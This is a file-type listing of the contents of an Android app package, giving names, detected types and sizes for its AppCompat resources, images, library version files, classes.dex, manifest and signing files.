          notify_panel_notification_icon_bg.pngPNG image data, 15 x 15, 8-bit/color RGB, non-interlaced98
          android.arch.lifecycle_livedata-core.versionASCII text6
          abc_ic_star_half_black_16dp.pngPNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced146
          abc_menu_hardkey_panel_mtrl_mult.9.pngPNG image data, 64 x 24, 8-bit gray+alpha, non-interlaced541
          abc_cab_background_top_material.xmlAndroid binary XML336
          abc_popup_background_mtrl_mult.9.pngPNG image data, 96 x 48, 8-bit gray+alpha, non-interlaced1098
          activity_main.xmlAndroid binary XML2788
          resources.arscdata268480
          abc_text_select_handle_right_mtrl_dark.pngPNG image data, 88 x 44, 8-bit/color RGBA, non-interlaced319
          abc_list_selector_disabled_holo_dark.9.pngPNG image data, 13 x 41, 8-bit gray+alpha, non-interlaced217
          abc_action_menu_item_layout.xmlTarga image data - RLE 360 x 65536 x 15 +1 +28 ""768
          abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced400
          abc_list_divider_mtrl_alpha.9.pngPNG image data, 2 x 2, 8-bit grayscale, non-interlaced171
          abc_search_view.xmlAndroid binary XML3472
          abc_ic_star_black_16dp.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced459
          abc_btn_radio_to_on_mtrl_000.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced651
          notification_bg_low_normal.9.pngPNG image data, 12 x 12, 8-bit grayscale, non-interlaced212
          abc_action_bar_up_container.xmlAndroid binary XML440
          switch_thumb_material_light.xmlAndroid binary XML464
          notification_bg_low_normal.9.pngPNG image data, 8 x 8, 8-bit grayscale, non-interlaced215
          abc_alert_dialog_title_material.xmlAndroid binary XML1516
          abc_text_select_handle_right_mtrl_dark.pngPNG image data, 44 x 22, 8-bit/color RGBA, non-interlaced187
          abc_textfield_activated_mtrl_alpha.9.pngPNG image data, 19 x 16, 8-bit gray+alpha, non-interlaced186
          abc_btn_switch_to_on_mtrl_00012.9.pngPNG image data, 81 x 81, 8-bit gray+alpha, non-interlaced2834
          notification_bg_low_pressed.9.pngPNG image data, 12 x 12, 8-bit/color RGB, non-interlaced225
          abc_ic_star_black_36dp.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced364
          abc_spinner_mtrl_am_alpha.9.pngPNG image data, 72 x 96, 8-bit gray+alpha, non-interlaced437
          abc_screen_toolbar.xmlAndroid binary XML1560
          abc_text_select_handle_middle_mtrl_light.pngPNG image data, 60 x 72, 8-bit/color RGBA, non-interlaced753
          abc_list_focused_holo.9.pngPNG image data, 9 x 9, 8-bit/color RGBA, non-interlaced244
          abc_scrubber_control_to_pressed_mtrl_000.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced415
          abc_spinner_mtrl_am_alpha.9.pngPNG image data, 18 x 24, 8-bit gray+alpha, non-interlaced327
          abc_scrubber_control_off_mtrl_alpha.pngPNG image data, 18 x 48, 8-bit gray+alpha, non-interlaced201
          abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced404
          abc_tint_edittext.xmlAndroid binary XML772
          androidx.core_core.versionASCII text6
          abc_textfield_search_default_mtrl_alpha.9.pngPNG image data, 12 x 3, 8-bit gray+alpha, non-interlaced178
          abc_alert_dialog_button_bar_material.xmlTarga image data - RLE 440 x 65536 x 20 +1 +28 ""1536
          abc_list_selector_disabled_holo_light.9.pngPNG image data, 42 x 126, 8-bit gray+alpha, non-interlaced258
          abc_tab_indicator_mtrl_alpha.9.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced204
          notification_icon_background.xmlAndroid binary XML372
          abc_spinner_mtrl_am_alpha.9.pngPNG image data, 54 x 72, 8-bit gray+alpha, non-interlaced524
          abc_list_divider_mtrl_alpha.9.pngPNG image data, 1 x 1, 8-bit grayscale, non-interlaced167
          abc_btn_switch_to_on_mtrl_00001.9.pngPNG image data, 81 x 81, 8-bit gray+alpha, non-interlaced2463
          abc_alert_dialog_title_material.xmlAndroid binary XML1424
          abc_ic_menu_selectall_mtrl_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced305
          abc_text_select_handle_right_mtrl_light.pngPNG image data, 66 x 33, 8-bit/color RGBA, non-interlaced262
          abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced127
          abc_list_selector_background_transition_holo_light.xmlAndroid binary XML424
          androidx.loader_loader.versionASCII text6
          abc_ratingbar_small_material.xmlAndroid binary XML664
          abc_scrubber_control_to_pressed_mtrl_005.pngPNG image data, 27 x 27, 8-bit gray+alpha, non-interlaced272
          abc_text_select_handle_left_mtrl_light.pngPNG image data, 132 x 66, 8-bit colormap, non-interlaced420
          abc_spinner_textfield_background_material.xmlAndroid binary XML1160
          abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced133
          abc_btn_default_mtrl_shape.xmlAndroid binary XML932
          abc_list_pressed_holo_dark.9.pngPNG image data, 18 x 18, 8-bit gray+alpha, non-interlaced212
          abc_list_pressed_holo_dark.9.pngPNG image data, 6 x 6, 8-bit gray+alpha, non-interlaced207
          abc_list_selector_disabled_holo_dark.9.pngPNG image data, 21 x 63, 8-bit gray+alpha, non-interlaced228
          btn2.pngPNG image data, 140 x 164, 8-bit/color RGBA, non-interlaced9304
          abc_list_focused_holo.9.pngPNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced244
          abc_btn_colored_borderless_text_material.xmlAndroid binary XML604
          activity_main.xmlAndroid binary XML3004
          notification_action_tombstone.xmlAndroid binary XML1228
          abc_ic_star_half_black_16dp.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced197
          abc_list_longpressed_holo.9.pngPNG image data, 6 x 6, 8-bit/color RGBA, non-interlaced211
          abc_dialog_material_background.xmlAndroid binary XML716
          abc_ic_commit_search_api_mtrl_alpha.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced228
          abc_text_select_handle_right_mtrl_dark.pngPNG image data, 176 x 88, 8-bit colormap, non-interlaced513
          notification_bg_normal_pressed.9.pngPNG image data, 16 x 16, 8-bit/color RGB, non-interlaced247
          abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced178
          select_dialog_singlechoice_material.xmlAndroid binary XML864
          abc_search_url_text.xmlAndroid binary XML588
          abc_switch_track_mtrl_alpha.9.pngPNG image data, 24 x 16, 8-bit gray+alpha, non-interlaced395
          abc_btn_check_to_on_mtrl_015.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced593
          abc_btn_check_to_on_mtrl_015.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced321
          abc_ab_share_pack_mtrl_alpha.9.pngPNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced267
          androidx-annotations.proASCII text308
          abc_ic_star_half_black_48dp.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced548
          abc_screen_simple_overlay_action_mode.xmlAndroid binary XML792
          abc_ic_star_half_black_48dp.pngPNG image data, 192 x 192, 8-bit gray+alpha, non-interlaced991
          notification_bg_normal.9.pngPNG image data, 16 x 16, 8-bit grayscale, non-interlaced221
          abc_spinner_mtrl_am_alpha.9.pngPNG image data, 36 x 48, 8-bit gray+alpha, non-interlaced417
          abc_ic_star_black_36dp.pngPNG image data, 54 x 54, 8-bit gray+alpha, non-interlaced522
          btn1.pngPNG image data, 140 x 164, 8-bit gray+alpha, non-interlaced6293
          abc_textfield_search_default_mtrl_alpha.9.pngPNG image data, 18 x 5, 8-bit gray+alpha, non-interlaced178
          abc_alert_dialog_button_bar_material.xmlAndroid binary XML1208
          abc_ic_menu_paste_mtrl_am_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced226
          abc_menu_hardkey_panel_mtrl_mult.9.pngPNG image data, 96 x 36, 8-bit gray+alpha, non-interlaced738
          notification_template_custom_big.xmlAndroid binary XML2456
          abc_switch_track_mtrl_alpha.9.pngPNG image data, 35 x 25, 8-bit gray+alpha, non-interlaced484
          abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced263
          abc_spinner_mtrl_am_alpha.9.pngPNG image data, 27 x 36, 8-bit gray+alpha, non-interlaced345
          abc_select_dialog_material.xmlAndroid binary XML932
          abc_scrubber_control_off_mtrl_alpha.pngPNG image data, 24 x 64, 8-bit gray+alpha, non-interlaced267
          abc_spinner_mtrl_am_alpha.9.pngPNG image data, 27 x 36, 8-bit gray+alpha, non-interlaced345
          abc_list_selector_disabled_holo_light.9.pngPNG image data, 13 x 41, 8-bit gray+alpha, non-interlaced217
          abc_text_select_handle_left_mtrl_dark.pngPNG image data, 176 x 88, 8-bit colormap, non-interlaced513
          abc_cascading_menu_item_layout.xmlAndroid binary XML1868
          GOOGPLAY.RSAdata2170
          abc_btn_check_to_on_mtrl_015.pngPNG image data, 128 x 128, 8-bit gray+alpha, non-interlaced476
          abc_btn_radio_to_on_mtrl_000.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced464
          abc_text_select_handle_right_mtrl_light.pngPNG image data, 132 x 66, 8-bit colormap, non-interlaced422
          abc_btn_radio_to_on_mtrl_000.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced984
          abc_btn_radio_to_on_mtrl_000.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced324
          abc_scrubber_control_to_pressed_mtrl_005.pngPNG image data, 54 x 54, 8-bit gray+alpha, non-interlaced595
          android.arch.lifecycle_runtime.versionASCII text6
          abc_slide_out_bottom.xmlAndroid binary XML396
          select_dialog_singlechoice_material.xmlAndroid binary XML780
          abc_textfield_activated_mtrl_alpha.9.pngPNG image data, 12 x 11, 8-bit gray+alpha, non-interlaced181
          abc_cab_background_top_mtrl_alpha.9.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced229
          abc_textfield_search_activated_mtrl_alpha.9.pngPNG image data, 12 x 3, 8-bit gray+alpha, non-interlaced178
          abc_ic_star_black_48dp.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced887
          notification_template_custom_big.xmlAndroid binary XML3012
          abc_cab_background_internal_bg.xmlAndroid binary XML372
          androidx.versionedparcelable_versionedparcelable.versionASCII text6
          androidx.cursoradapter_cursoradapter.versionASCII text6
          abc_text_select_handle_left_mtrl_light.pngPNG image data, 66 x 33, 8-bit/color RGBA, non-interlaced278
          abc_ic_star_half_black_48dp.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced310
          abc_ab_share_pack_mtrl_alpha.9.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced286
          abc_textfield_search_activated_mtrl_alpha.9.pngPNG image data, 24 x 6, 8-bit gray+alpha, non-interlaced184
          androidx.legacy_legacy-support-core-ui.versionASCII text6
          androidx.vectordrawable_vectordrawable.versionASCII text6
          abc_btn_radio_to_on_mtrl_000.pngPNG image data, 128 x 128, 8-bit gray+alpha, non-interlaced785
          notification_tile_bg.xmlAndroid binary XML304
          abc_ic_star_half_black_48dp.pngPNG image data, 144 x 144, 8-bit gray+alpha, non-interlaced789
          abc_list_longpressed_holo.9.pngPNG image data, 9 x 9, 8-bit/color RGBA, non-interlaced212
          abc_scrubber_control_off_mtrl_alpha.pngPNG image data, 36 x 96, 8-bit gray+alpha, non-interlaced322
          abc_scrubber_track_mtrl_alpha.9.pngPNG image data, 15 x 18, 8-bit gray+alpha, non-interlaced196
          abc_tint_default.xmlAndroid binary XML1120
          abc_vector_test.xmlAndroid binary XML612
          abc_list_selector_disabled_holo_dark.9.pngPNG image data, 28 x 84, 8-bit gray+alpha, non-interlaced236
          abc_primary_text_material_dark.xmlAndroid binary XML464
          abc_grow_fade_in_from_bottom.xmlAndroid binary XML852
          abc_ic_commit_search_api_mtrl_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced171
          abc_ic_star_black_48dp.pngPNG image data, 144 x 144, 8-bit gray+alpha, non-interlaced1291
          abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced260
          abc_list_pressed_holo_light.9.pngPNG image data, 6 x 6, 8-bit gray+alpha, non-interlaced207
          abc_secondary_text_material_dark.xmlAndroid binary XML464
          abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced705
          abc_textfield_search_default_mtrl_alpha.9.pngPNG image data, 36 x 10, 8-bit gray+alpha, non-interlaced186
          abc_ic_star_half_black_36dp.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced421
          abc_ic_star_half_black_36dp.pngPNG image data, 144 x 144, 8-bit gray+alpha, non-interlaced760
          abc_ic_voice_search_api_material.xmlAndroid binary XML828
          android.arch.lifecycle_viewmodel.versionASCII text6
          abc_alert_dialog_title_material.xmlAndroid binary XML1352
          abc_ratingbar_material.xmlAndroid binary XML664
          abc_color_highlight_material.xmlAndroid binary XML544
          abc_text_select_handle_left_mtrl_dark.pngPNG image data, 44 x 22, 8-bit/color RGBA, non-interlaced203
          abc_list_pressed_holo_light.9.pngPNG image data, 9 x 9, 8-bit gray+alpha, non-interlaced208
          abc_ic_menu_selectall_mtrl_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced215
          abc_ic_menu_overflow_material.xmlAndroid binary XML792
          notification_bg_normal.9.pngPNG image data, 8 x 8, 8-bit grayscale, non-interlaced215
          abc_ic_menu_share_mtrl_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced389
          abc_btn_radio_material.xmlAndroid binary XML464
          abc_ic_menu_share_mtrl_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced700
          abc_textfield_search_activated_mtrl_alpha.9.pngPNG image data, 36 x 10, 8-bit gray+alpha, non-interlaced187
          abc_btn_check_to_on_mtrl_000.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced227
          abc_screen_toolbar.xmlAndroid binary XML1452
          abc_ic_menu_paste_mtrl_am_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced348
          abc_ic_star_black_36dp.pngPNG image data, 144 x 144, 8-bit gray+alpha, non-interlaced1269
          abc_tooltip_exit.xmlAndroid binary XML388
          b4.pngPNG image data, 185 x 135, 8-bit/color RGB, non-interlaced18795
          androidx.asynclayoutinflater_asynclayoutinflater.versionASCII text6
          abc_tint_spinner.xmlAndroid binary XML772
          abc_text_select_handle_right_mtrl_light.pngPNG image data, 44 x 22, 8-bit/color RGBA, non-interlaced186
          abc_popup_menu_item_layout.xmlAndroid binary XML2072
          abc_expanded_menu_layout.xmlAndroid binary XML388
          abc_text_select_handle_left_mtrl_dark.pngPNG image data, 88 x 44, 8-bit/color RGBA, non-interlaced336
          abc_tint_spinner.xmlAndroid binary XML668
          android.arch.lifecycle_livedata.versionASCII text6
          ic_launcher.pngPNG image data, 48 x 48, 8-bit/color RGB, non-interlaced5309
          abc_ic_arrow_drop_right_black_24dp.xmlAndroid binary XML1000
          notification_action.xmlAndroid binary XML1052
          abc_action_mode_close_item_material.xmlAndroid binary XML840
          abc_ic_menu_paste_mtrl_am_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced461
          abc_cab_background_top_mtrl_alpha.9.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced226
          abc_ic_star_black_36dp.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced652
          b4.pngPNG image data, 185 x 135, 8-bit/color RGB, non-interlaced18795
          abc_switch_track_mtrl_alpha.9.pngPNG image data, 47 x 32, 8-bit gray+alpha, non-interlaced618
          abc_ic_menu_share_mtrl_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced899
          abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced251
          abc_screen_toolbar.xmlAndroid binary XML1504
          abc_seekbar_tick_mark_material.xmlAndroid binary XML516
          abc_text_select_handle_middle_mtrl_light.pngPNG image data, 40 x 48, 8-bit/color RGBA, non-interlaced585
          abc_seekbar_track_material.xmlAndroid binary XML1408
          abc_text_select_handle_middle_mtrl_light.pngPNG image data, 20 x 24, 8-bit/color RGBA, non-interlaced310
          abc_ic_star_half_black_48dp.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced431
          provider_paths.xmlAndroid binary XML388
          abc_textfield_default_mtrl_alpha.9.pngPNG image data, 19 x 16, 8-bit gray+alpha, non-interlaced192
          abc_text_cursor_material.xmlAndroid binary XML516
          abc_textfield_activated_mtrl_alpha.9.pngPNG image data, 25 x 22, 8-bit gray+alpha, non-interlaced189
          androidx.interpolator_interpolator.versionASCII text6
          MANIFEST.MFASCII text, with CRLF line terminators46971
          abc_action_menu_layout.xmlAndroid binary XML576
          abc_ic_star_half_black_36dp.pngPNG image data, 108 x 108, 8-bit gray+alpha, non-interlaced577
          b3.pngPNG image data, 185 x 135, 8-bit/color RGB, non-interlaced17534
          abc_text_select_handle_middle_mtrl_dark.pngPNG image data, 60 x 72, 8-bit/color RGBA, non-interlaced752
          androidx.customview_customview.versionASCII text6
          abc_activity_chooser_view_list_item.xmlAndroid binary XML1304
          abc_btn_borderless_material.xmlAndroid binary XML588
          abc_text_select_handle_left_mtrl_light.pngPNG image data, 88 x 44, 8-bit/color RGBA, non-interlaced335
          abc_text_select_handle_right_mtrl_light.pngPNG image data, 88 x 44, 8-bit/color RGBA, non-interlaced318
          abc_switch_track_mtrl_alpha.9.pngPNG image data, 71 x 48, 8-bit gray+alpha, non-interlaced851
          abc_scrubber_control_to_pressed_mtrl_000.pngPNG image data, 18 x 18, 8-bit gray+alpha, non-interlaced196
          abc_scrubber_track_mtrl_alpha.9.pngPNG image data, 30 x 36, 8-bit gray+alpha, non-interlaced207
          abc_ic_menu_share_mtrl_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced480
          abc_spinner_mtrl_am_alpha.9.pngPNG image data, 54 x 72, 8-bit gray+alpha, non-interlaced525
          abc_ic_star_black_16dp.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced263
          im.pngPNG image data, 11 x 11, 8-bit gray+alpha, non-interlaced69
          androidx.slidingpanelayout_slidingpanelayout.versionASCII text6
          b3.pngPNG image data, 185 x 135, 8-bit/color RGB, non-interlaced17534
          abc_btn_check_to_on_mtrl_000.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced281
          androidx.fragment_fragment.versionASCII text6
          abc_text_select_handle_left_mtrl_light.pngPNG image data, 44 x 22, 8-bit/color RGBA, non-interlaced203
          notification_template_custom_big.xmlAndroid binary XML3208
          abc_list_selector_holo_light.xmlAndroid binary XML1064
          androidx.coordinatorlayout_coordinatorlayout.versionASCII text6
          androidx.documentfile_documentfile.versionASCII text6
          abc_scrubber_primary_mtrl_alpha.9.pngPNG image data, 20 x 24, 8-bit gray+alpha, non-interlaced208
          abc_alert_dialog_button_bar_material.xmlAndroid binary XML1492
          abc_textfield_default_mtrl_alpha.9.pngPNG image data, 38 x 33, 8-bit gray+alpha, non-interlaced200
          notification_template_icon_group.xmlAndroid binary XML988
          abc_list_selector_background_transition_holo_dark.xmlAndroid binary XML424
          abc_textfield_search_material.xmlAndroid binary XML756
          b2.pngPNG image data, 185 x 135, 8-bit/color RGB, non-interlaced13718
          abc_btn_check_material.xmlAndroid binary XML464
          abc_slide_out_top.xmlAndroid binary XML396
          abc_secondary_text_material_light.xmlAndroid binary XML464
          notification_bg_low.xmlAndroid binary XML532
          AndroidManifest.xmlAndroid binary XML7788
          abc_spinner_mtrl_am_alpha.9.pngPNG image data, 18 x 24, 8-bit gray+alpha, non-interlaced318
          abc_list_focused_holo.9.pngPNG image data, 6 x 6, 8-bit/color RGBA, non-interlaced222
          abc_btn_colored_text_material.xmlAndroid binary XML604
          abc_ic_commit_search_api_mtrl_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced224
          b2.pngPNG image data, 185 x 135, 8-bit/color RGB, non-interlaced13718
          abc_popup_background_mtrl_mult.9.pngPNG image data, 64 x 32, 8-bit gray+alpha, non-interlaced776
          abc_fade_out.xmlAndroid binary XML388
          abc_list_pressed_holo_light.9.pngPNG image data, 12 x 12, 8-bit gray+alpha, non-interlaced209
          abc_background_cache_hint_selector_material_light.xmlAndroid binary XML468
          abc_dialog_title_material.xmlAndroid binary XML1072
          abc_btn_colored_material.xmlAndroid binary XML1716
          abc_btn_radio_to_on_mtrl_015.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced785
          abc_btn_colored_material.xmlAndroid binary XML344
          abc_control_background_material.xmlAndroid binary XML304
          abc_list_divider_material.xmlAndroid binary XML480
          abc_list_selector_holo_dark.xmlAndroid binary XML1064
          abc_menu_hardkey_panel_mtrl_mult.9.pngPNG image data, 192 x 72, 8-bit/color RGBA, non-interlaced1779
          abc_btn_colored_text_material.xmlAndroid binary XML500
          abc_ic_search_api_material.xmlAndroid binary XML812
          abc_text_select_handle_left_mtrl_dark.pngPNG image data, 132 x 66, 8-bit colormap, non-interlaced420
          abc_item_background_holo_light.xmlAndroid binary XML1012
          notification_bg.xmlAndroid binary XML532
          abc_popup_enter.xmlAndroid binary XML508
          b1.pngPNG image data, 185 x 135, 8-bit/color RGB, non-interlaced11011
          abc_background_cache_hint_selector_material_dark.xmlAndroid binary XML468
          btn2.pngPNG image data, 140 x 164, 8-bit/color RGBA, non-interlaced9304
          notification_bg_normal.9.pngPNG image data, 12 x 12, 8-bit grayscale, non-interlaced212
          abc_scrubber_control_to_pressed_mtrl_000.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced403
          abc_ic_menu_paste_mtrl_am_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced152
          abc_list_divider_material.xmlAndroid binary XML516
          abc_tab_indicator_mtrl_alpha.9.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced202
          abc_ic_menu_selectall_mtrl_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced139
          abc_scrubber_control_to_pressed_mtrl_005.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced391
          abc_text_select_handle_left_mtrl_light.pngPNG image data, 176 x 88, 8-bit colormap, non-interlaced513
          abc_text_select_handle_middle_mtrl_dark.pngPNG image data, 20 x 24, 8-bit/color RGBA, non-interlaced311
          notification_template_part_time.xmlAndroid binary XML440
          abc_scrubber_control_to_pressed_mtrl_005.pngPNG image data, 18 x 18, 8-bit gray+alpha, non-interlaced197
          abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced905
          abc_list_pressed_holo_light.9.pngPNG image data, 18 x 18, 8-bit gray+alpha, non-interlaced212
          abc_list_selector_disabled_holo_light.9.pngPNG image data, 28 x 84, 8-bit gray+alpha, non-interlaced235
          abc_screen_content_include.xmlAndroid binary XML548
          abc_alert_dialog_button_bar_material.xmlAndroid binary XML1584
          notification_template_part_chronometer.xmlAndroid binary XML440
          abc_activity_chooser_view.xmlAndroid binary XML1684
          b1.pngPNG image data, 185 x 135, 8-bit/color RGB, non-interlaced11011
          abc_text_select_handle_middle_mtrl_dark.pngPNG image data, 30 x 36, 8-bit/color RGBA, non-interlaced398
          notify_panel_notification_icon_bg.pngPNG image data, 30 x 30, 8-bit/color RGB, non-interlaced138
          notification_action.xmlAndroid binary XML1156
          abc_cab_background_top_mtrl_alpha.9.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced237
          abc_tint_seek_thumb.xmlAndroid binary XML604
          abc_ic_star_black_16dp.pngPNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced193
          abc_btn_colored_borderless_text_material.xmlAndroid binary XML464
          abc_textfield_default_mtrl_alpha.9.pngPNG image data, 25 x 22, 8-bit gray+alpha, non-interlaced187
          abc_tint_edittext.xmlAndroid binary XML668
          notification_template_custom_big.xmlTarga image data - RLE 512 x 65536 x 26 +1 +28 ""2048
          abc_ic_star_black_16dp.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced599
          abc_alert_dialog_material.xmlAndroid binary XML2480
          abc_item_background_holo_dark.xmlAndroid binary XML1012
          androidx.appcompat_appcompat.versionASCII text6
          btn1.pngPNG image data, 140 x 164, 8-bit gray+alpha, non-interlaced6293
          notification_action.xmlAndroid binary XML1092
          notification_bg_normal_pressed.9.pngPNG image data, 12 x 12, 8-bit/color RGB, non-interlaced225
          abc_ic_menu_share_mtrl_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced270
          abc_list_selector_disabled_holo_dark.9.pngPNG image data, 42 x 126, 8-bit gray+alpha, non-interlaced260
          ic_launcher.pngPNG image data, 72 x 72, 8-bit/color RGB, non-interlaced10503
          abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced494
          abc_btn_check_to_on_mtrl_000.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced307
          abc_btn_check_to_on_mtrl_000.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced214
          abc_dialog_material_background.xmlAndroid binary XML716
          abc_tab_indicator_mtrl_alpha.9.pngPNG image data, 18 x 18, 8-bit gray+alpha, non-interlaced190
          abc_popup_exit.xmlAndroid binary XML508
          abc_ic_star_black_16dp.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced333
          abc_ic_ab_back_material.xmlAndroid binary XML692
          abc_scrubber_track_mtrl_alpha.9.pngPNG image data, 10 x 12, 8-bit gray+alpha, non-interlaced194
          abc_text_select_handle_right_mtrl_dark.pngPNG image data, 132 x 66, 8-bit colormap, non-interlaced422
          switch_thumb_material_dark.xmlAndroid binary XML464
          GOOGPLAY.SFASCII text, with CRLF line terminators47017
          abc_popup_menu_header_item_layout.xmlAndroid binary XML848
          abc_hint_foreground_material_dark.xmlAndroid binary XML564
          abc_action_bar_item_background_material.xmlAndroid binary XML264
          abc_dialog_title_material.xmlAndroid binary XML1028
          abc_btn_colored_borderless_text_material.xmlAndroid binary XML500
          abc_textfield_search_activated_mtrl_alpha.9.pngPNG image data, 18 x 5, 8-bit gray+alpha, non-interlaced178
          abc_tint_seek_thumb.xmlAndroid binary XML500
          abc_scrubber_primary_mtrl_alpha.9.pngPNG image data, 30 x 36, 8-bit gray+alpha, non-interlaced210
          abc_ratingbar_indicator_material.xmlAndroid binary XML704
          abc_ic_star_half_black_16dp.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced309
          abc_primary_text_disable_only_material_dark.xmlAndroid binary XML464
          androidx.legacy_legacy-support-core-utils.versionASCII text6
          abc_menu_hardkey_panel_mtrl_mult.9.pngPNG image data, 128 x 48, 8-bit gray+alpha, non-interlaced966
          abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced327
          abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced199
          abc_switch_thumb_material.xmlAndroid binary XML464
          abc_scrubber_control_to_pressed_mtrl_005.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced631
          abc_btn_check_to_on_mtrl_000.pngPNG image data, 128 x 128, 4-bit colormap, non-interlaced275
          abc_primary_text_disable_only_material_light.xmlAndroid binary XML464
          abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced710
          abc_slide_in_top.xmlAndroid binary XML396
          abc_tab_indicator_mtrl_alpha.9.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced194
          notification_bg_low_pressed.9.pngPNG image data, 8 x 8, 8-bit/color RGB, non-interlaced223
          abc_ic_star_half_black_36dp.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced253
          abc_list_focused_holo.9.pngPNG image data, 18 x 18, 8-bit/color RGBA, non-interlaced245
          ic_launcher.pngPNG image data, 96 x 96, 8-bit/color RGB, non-interlaced17121
          androidx.swiperefreshlayout_swiperefreshlayout.versionASCII text6
          abc_ic_star_black_48dp.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced668
          tooltip_frame_dark.xmlAndroid binary XML484
          abc_btn_radio_to_on_mtrl_015.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced563
          abc_btn_radio_to_on_mtrl_015.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced1208
          abc_btn_radio_to_on_mtrl_015.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced356
          abc_list_longpressed_holo.9.pngPNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced214
          abc_scrubber_primary_mtrl_alpha.9.pngPNG image data, 15 x 18, 8-bit gray+alpha, non-interlaced205
          abc_list_menu_item_radio.xmlAndroid binary XML532
          abc_list_divider_mtrl_alpha.9.pngPNG image data, 1 x 1, 8-bit grayscale, non-interlaced167
          abc_list_menu_item_layout.xmlAndroid binary XML1396
          abc_ic_star_black_36dp.pngPNG image data, 108 x 108, 8-bit gray+alpha, non-interlaced983
          abc_shrink_fade_out_from_bottom.xmlAndroid binary XML852
          classes.dexDalvik dex file version 035991804
          abc_list_menu_item_icon.xmlAndroid binary XML684
          abc_tooltip.xmlAndroid binary XML1056
          abc_ic_go_search_api_material.xmlAndroid binary XML640
          abc_action_mode_close_item_material.xmlAndroid binary XML748
          abc_ratingbar_material.xmlAndroid binary XML704
          abc_action_bar_title_item.xmlAndroid binary XML872
          abc_primary_text_material_light.xmlAndroid binary XML464
          abc_slide_in_bottom.xmlAndroid binary XML396
